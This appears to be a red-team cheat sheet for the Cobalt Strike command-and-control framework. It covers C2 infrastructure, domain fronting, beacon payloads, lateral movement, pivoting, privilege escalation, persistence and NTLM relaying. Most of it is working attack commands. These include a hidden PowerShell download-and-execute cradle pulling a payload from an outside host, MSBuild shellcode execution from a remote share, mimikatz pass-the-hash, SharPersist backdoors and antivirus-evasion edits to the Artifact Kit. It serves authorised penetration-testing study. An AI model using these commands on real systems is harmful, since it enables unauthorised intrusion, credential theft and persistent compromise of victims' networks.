Cobalt Strike

> Cobalt Strike is threat emulation software. Red teams and penetration testers use Cobalt Strike to demonstrate the risk of a breach and evaluate mature security programs. Cobalt Strike exploits network vulnerabilities, launches spear phishing campaigns, hosts web drive-by attacks, and generates malware infected files from a powerful graphical user interface that encourages collaboration and reports all activity.

```
$ sudo apt-get update
$ sudo apt-get install openjdk-11-jdk
$ sudo apt install proxychains socat
$ sudo update-java-alternatives -s java-1.11.0-openjdk-amd64
$ sudo ./teamserver 10.10.10.10 "password" [malleable C2 profile]
$ ./cobaltstrike
$ powershell.exe -nop -w hidden -c "IEX ((new-object
net.webclient).downloadstring('http://campaigns.example.com/download/dnsback'))"
```

Summary

Infrastructure

Redirectors

```
sudo apt install socat
socat TCP4-LISTEN:80,fork TCP4:[TEAM SERVER]:80
```

Domain Fronting

- New Listener > HTTP Host Header
- Choose a domain in "Finance & Healthcare" sector

OpSec

Don't

- Use default self-signed HTTPS certificate
- Use default port (50050)
- Use 0.0.0.0 DNS response
- Metasploit compatibility, ask for a payload : `wget -U "Internet Explorer" http://127.0.0.1/vl6D`

Do

- Use a redirector (Apache, CDN, ...)
- Firewall to only accept HTTP/S from the redirectors
- Firewall 50050 and access via SSH tunnel
- Edit default HTTP 404 page and Content type: text/plain
- No staging `set hosts_stage` to `false` in Malleable C2
- Use Malleable Profile to taylor your attack to specific actors

Customer ID

> The Customer ID is a 4-byte number associated with a Cobalt Strike license key. Cobalt Strike 3.9 and later embed this information into the payload stagers and stages generated by Cobalt Strike.

- The Customer ID value is the last 4-bytes of a Cobalt Strike payload stager in Cobalt Strike 3.9 and later.
- The trial has a Customer ID value of 0.
- Cobalt Strike does not use the Customer ID value in its network traffic or other parts of the tool

Payloads

DNS Beacon

- Edit the Zone File for the domain
- Create an A record for Cobalt Strike system
- Create an NS record that points to FQDN of your Cobalt Strike system

Your Cobalt Strike team server system must be authoritative for the domains you specify. Create a DNS A record and point it to your Cobalt Strike team server. Use DNS NS records to delegate several domains or sub-domains to your Cobalt Strike team server's A record.

- nslookup jibberish.beacon polling.campaigns.domain.com
- nslookup jibberish.beacon campaigns.domain.com

Example of DNS on Digital Ocean:

```
NS  example.com                    directs to 10.10.10.10.            86400
NS  polling.campaigns.example.com  directs to campaigns.example.com.   3600
A   campaigns.example.com          directs to 10.10.10.10              3600
```

```
systemctl disable systemd-resolved
systemctl stop systemd-resolved
rm /etc/resolv.conf
echo "nameserver 8.8.8.8" >  /etc/resolv.conf
echo "nameserver 8.8.4.4" >>  /etc/resolv.conf
```

Configuration:

1. **host**: campaigns.domain.com
2. **beacon**: polling.campaigns.domain.com
3. Interact with a beacon, and `sleep 0`

SMB Beacon

```
link [host] [pipename]
connect [host] [port]
unlink [host] [PID]
jump [exec] [host] [pipe]
```

SMB Beacon uses Named Pipes. You might encounter these error code while running it.

Error Code	Meaning	Description
2	File Not Found	There is no beacon for you to link to
5	Access is denied	Invalid credentials or you don't have permission
53	Bad Netpath	You have no trust relationship with the target system. It may or may not be a beacon there.

SSH Beacon

```
# deploy a beacon
beacon> help ssh
Use: ssh [target:port] [user] [pass]
Spawn an SSH client and attempt to login to the specified target

beacon> help ssh-key
Use: ssh [target:port] [user] [/path/to/key.pem]
Spawn an SSH client and attempt to login to the specified target

# beacon's commands
```

```
upload                    Upload a file
download                  Download a file
socks                     Start SOCKS4a server to relay traffic
sudo                      Run a command via sudo
rportfwd                  Setup a reverse port forward
shell                     Execute a command via the shell
```

Metasploit compatibility

- Payload: windows/meterpreter/reverse_http or windows/meterpreter/reverse_https
- Set LHOST and LPORT to the beacon
- Set DisablePayloadHandler to True
- Set PrependMigrate to True
- exploit -j

Custom Payloads

https://ired.team/offensive-security/code-execution/using-msbuild-to-execute-shellcode-in-c

```
* Attacks > Packages > Payload Generator
* Attacks > Packages > Scripted Web Delivery (S)
$ python2 ./shellcode_encoder.py -cpp -cs -py payload.bin MySecretPassword xor
$ C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
C:\Windows\Temp\dns_raw_stageless_x64.xml
$ %windir%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
\\10.10.10.10\Shared\dns_raw_stageless_x86.xml
```

Malleable C2

List of Malleable Profiles hosted on Github

- Cobalt Strike - Malleable C2 Profiles https://github.com/xx0hcd/Malleable-C2-Profiles
- Cobalt Strike Malleable C2 Design and Reference Guide https://github.com/threatexpress/malleable-c2
- Malleable-C2-Profiles https://github.com/rsmudge/Malleable-C2-Profiles
- SourcePoint is a C2 profile generator https://github.com/Tylous/SourcePoint

Example of syntax

```
set useragent "SOME AGENT"; # GOOD
set useragent 'SOME AGENT'; # BAD
prepend "This is an example;";

# Escape Double quotes
append "here is \"some\" stuff";
# Escape Backslashes
append "more \\ stuff";
# Some special characters do not need escaping
prepend "!@#$%^&*()";
```

Check a profile with `./c2lint`.

- A result of 0 is returned if c2lint completes with no errors

- A result of 1 is returned if c2lint completes with only warnings
- A result of 2 is returned if c2lint completes with only errors
- A result of 3 is returned if c2lint completes with both errors and warning

Files

```
# List the file on the specified directory
beacon > ls <C:\Path>

# Change into the specified working directory
beacon > cd [directory]

# Delete a file\folder
beacon > rm [file\folder]

# File copy
beacon > cp [src] [dest]

# Download a file from the path on the Beacon host
beacon > download [C:\filePath]

# Lists downloads in progress
beacon > downloads

# Cancel a download currently in progress
beacon > cancel [*file*]

# Upload a file from the attacker to the current Beacon host
beacon > upload [/path/to/file]
```

Powershell and .NET

Powershell commands

```
# Import a Powershell .ps1 script from the control server and save it in memory in
Beacon
beacon > powershell-import [/path/to/script.ps1]

# Setup a local TCP server bound to localhost and download the script imported from
above using powershell.exe. Then the specified function and any arguments are
executed and output is returned.
beacon > powershell [commandlet][arguments]

# Launch the given function using Unmanaged Powershell, which does not start
powershell.exe. The program used is set by spawnto
beacon > powerpick [commandlet] [argument]

# Inject Unmanaged Powershell into a specific process and execute the specified
command. This is useful for long-running Powershell jobs
beacon > psinject [pid][arch] [commandlet] [arguments]
```

.NET remote execution

Run a local .NET executable as a Beacon post-exploitation job.

Require:

- Binaries compiled with the "Any CPU" configuration.

```
beacon > execute-assembly [/path/to/script.exe] [arguments]
beacon > execute-assembly /home/audit/Rubeus.exe
[*] Tasked beacon to run .NET program: Rubeus.exe
[+] host called home, sent: 318507 bytes
[+] received output:


   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.4.2
```

Lateral Movement

:warning: OPSEC Advice: Use the **spawnto** command to change the process Beacon will launch for its post-exploitation jobs. The default is rundll32.exe

- **portscan:** Performs a portscan on a spesific target.
- **runas:** A wrapper of runas.exe, using credentials you can run a command as another user.
- **pth:** By providing a username and a NTLM hash you can perform a Pass The Hash attack and inject a TGT on the current process.
  :exclamation: This module needs Administrator privileges.
- **steal_token:** Steal a token from a specified process.
- **make_token:** By providing credentials you can create an impersonation token into the current process and execute commands from the context of the impersonated user.
- **jump:** Provides easy and quick way to move lateraly using winrm or psexec to spawn a new beacon session on a target.
  :exclamation: The **jump** module will use the current delegation/impersonation token to authenticate on the remote target.
  :muscle: We can combine the **jump** module with the **make_token** or **pth** module for a quick "jump" to another target on the network.
- **remote-exec:** Execute a command on a remote target using psexec, winrm or wmi.
  :exclamation: The **remote-exec** module will use the current delegation/impersonation token to authenticate on the remote target.
- **ssh/ssh-key:** Authenticate using ssh with password or private key. Works for both linux and windows hosts.

:warning: All the commands launch powershell.exe

```
Beacon Remote Exploits
======================
jump [module] [target] [listener]

    psexec  x86 Use a service to run a Service EXE artifact
    psexec64    x64 Use a service to run a Service EXE artifact
```

```
    psexec_psh  x86 Use a service to run a PowerShell one-liner
    winrm   x86 Run a PowerShell script via WinRM
    winrm64 x64 Run a PowerShell script via WinRM

Beacon Remote Execute Methods
=============================
remote-exec [module] [target] [command]

    Methods                         Description
    -------                         -----------
    psexec                          Remote execute via Service Control Manager
    winrm                           Remote execute via WinRM (PowerShell)
    wmi                             Remote execute via WMI (PowerShell)
```

Opsec safe Pass-the-Hash:

1. `mimikatz sekurlsa::pth /user:xxx /domain:xxx /ntlm:xxxx /run:"powershell -w hidden"`
2. `steal_token PID`

Assume Control of Artifact

- Use `link` to connect to SMB Beacon
- Use `connect` to connect to TCP Beacon

VPN & Pivots

:warning: Covert VPN doesn't work with W10, and requires Administrator access to deploy.

> Use socks 8080 to setup a SOCKS4a proxy server on port 8080 (or any other port you choose). This will setup a SOCKS proxy server to tunnel traffic through Beacon. Beacon's sleep time adds latency to any traffic you tunnel through it. Use sleep 0 to make Beacon check-in several times a second.

```
# Start a SOCKS server on the given port on your teamserver, tunneling traffic
through the specified Beacon. Set the teamserver/port configuration in
/etc/proxychains.conf for easy usage.
beacon > socks [PORT]

# Proxy browser traffic through a specified Internet Explorer process.
beacon > browserpivot [pid] [x86|x64]

# Bind to the specified port on the Beacon host, and forward any incoming connections
to the forwarded host and port.
beacon > rportfwd [bind port] [forward host] [forward port]

# spunnel : Spawn an agent and create a reverse port forward tunnel to its
controller.    ~=  rportfwd + shspawn.
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f raw -o
/tmp/msf.bin
beacon> spunnel x64 184.105.181.155 4444 C:\Payloads\msf.bin

# spunnel_local: Spawn an agent and create a reverse port forward, tunnelled through
your Cobalt Strike client, to its controller
# then you can handle the connect back on your MSF multi handler
beacon> spunnel_local x64 127.0.0.1 4444 C:\Payloads\msf.bin
```

Kits

- Cobalt Strike Community Kit - Community Kit is a central repository of extensions written by the user community to extend the capabilities of Cobalt Strike

Elevate Kit

UAC Token Duplication : Fixed in Windows 10 Red Stone 5 (October 2018)

```
beacon> runasadmin

Beacon Command Elevators
========================

    Exploit                         Description
    -------                         -----------
    ms14-058                        TrackPopupMenu Win32k NULL Pointer Dereference
(CVE-2014-4113)
    ms15-051                        Windows ClientCopyImage Win32k Exploit (CVE 2015-
1701)
    ms16-016                        mrxdav.sys WebDav Local Privilege Escalation (CVE
2016-0051)
    svc-exe                         Get SYSTEM via an executable run as a service
    uac-schtasks                    Bypass UAC with schtasks.exe (via SilentCleanup)
    uac-token-duplication           Bypass UAC with Token Duplication
```

Persistence Kit

- https://github.com/0xthirteen/MoveKit
- https://github.com/fireeye/SharPersist

```
# List persistences
SharPersist -t schtaskbackdoor -m list
SharPersist -t startupfolder -m list
SharPersist -t schtask -m list

# Add a persistence
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe"
-n "Something Cool" -m add
SharPersist -t schtaskbackdoor -n "Something Cool" -m remove

SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n
"Some Service" -m add
SharPersist -t service -n "Some Service" -m remove

SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n
"Some Task" -m add
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n
"Some Task" -m add -o hourly
SharPersist -t schtask -n "Some Task" -m remove
```

Resource Kit

> The Resource Kit is Cobalt Strike's means to change the HTA, PowerShell, Python, VBA, and VBS script templates Cobalt Strike uses in its workflows

Artifact Kit

> Cobalt Strike uses the Artifact Kit to generate its executables and DLLs. The Artifact Kit is a source code framework to build executables and DLLs that evade some anti-virus products. The Artifact Kit build script creates a folder with template artifacts for each Artifact Kit technique. To use a technique with Cobalt Strike, go to Cobalt Strike -> Script Manager, and load the artifact.cna script from that technique's folder.

Artifact Kit (Cobalt Strike 4.0) - https://www.youtube.com/watch?v=6mC21kviwG4 :

- Download the artifact kit : `Go to Help -> Arsenal to download Artifact Kit (requires a licensed version of Cobalt Strike)`
- Install the dependencies : `sudo apt-get install mingw-w64`
- Edit the Artifact code
  - Change pipename strings
  - Change `VirtualAlloc` in `patch.c`/`patch.exe`, e.g: HeapAlloc
  - Change Import
- Build the Artifact
- Cobalt Strike -> Script Manager > Load .cna

Mimikatz Kit

- Download and extract the .tgz from the Arsenal (Note: The version uses the Mimikatz release version naming (i.e., 2.2.0.20210724)
- Load the mimikatz.cna aggressor script
- Use mimikatz functions as normal

Sleep Mask Kit

> The Sleep Mask Kit is the source code for the sleep mask function that is executed to obfuscate Beacon, in memory, prior to sleeping.

Use the included `build.sh` or `build.bat` script to build the Sleep Mask Kit on Kali Linux or Microsoft Windows. The script builds the sleep mask object file for the three types of Beacons (default, SMB, and TCP) on both x86 and x64 architectures in the sleepmask directory. The default type supports HTTP, HTTPS, and DNS Beacons.

Beacon Object Files

> A BOF is just a block of position-independent code that receives pointers to some Beacon internal APIs

Example: https://github.com/Cobalt-Strike/bof_template/blob/main/beacon.h

- Compile

```
# To compile this with Visual Studio:
cl.exe /c /GS- hello.c /Fohello.o

# To compile this with x86 MinGW:
i686-w64-mingw32-gcc -c hello.c -o hello.o

# To compile this with x64 MinGW:
x86_64-w64-mingw32-gcc -c hello.c -o hello.o
```

- Execute: `inline-execute /path/to/hello.o`

NTLM Relaying via Cobalt Strike

```
beacon> socks 1080
kali> proxychains python3 /usr/local/bin/ntlmrelayx.py -t smb://<IP_TARGET>
beacon> rportfwd_local 8445 <IP_KALI> 445
beacon> upload C:\Tools\PortBender\WinDivert64.sys
beacon> PortBender redirect 445 8445
```

References

- Red Team Ops with Cobalt Strike (1 of 9): Operations
- Red Team Ops with Cobalt Strike (2 of 9): Infrastructure
- Red Team Ops with Cobalt Strike (3 of 9): C2
- Red Team Ops with Cobalt Strike (4 of 9): Weaponization
- Red Team Ops with Cobalt Strike (5 of 9): Initial Access
- Red Team Ops with Cobalt Strike (6 of 9): Post Exploitation
- Red Team Ops with Cobalt Strike (7 of 9): Privilege Escalation
- Red Team Ops with Cobalt Strike (8 of 9): Lateral Movement
- Red Team Ops with Cobalt Strike (9 of 9): Pivoting
- A Deep Dive into Cobalt Strike Malleable C2 - Joe Vest - Sep 5, 2018
- Cobalt Strike. Walkthrough for Red Teamers - Neil Lines - 15 Apr 2019
- TALES OF A RED TEAMER: HOW TO SETUP A C2 INFRASTRUCTURE FOR COBALT STRIKE – UB 2018 - NOV 25 2018
- Cobalt Strike - DNS Beacon
- How to Write Malleable C2 Profiles for Cobalt Strike - January 24, 2017
- NTLM Relaying via Cobalt Strike - July 29, 2021 - Rasta Mouse
- Cobalt Strike - User Guide
- Cobalt Strike 4.6 - User Guide PDF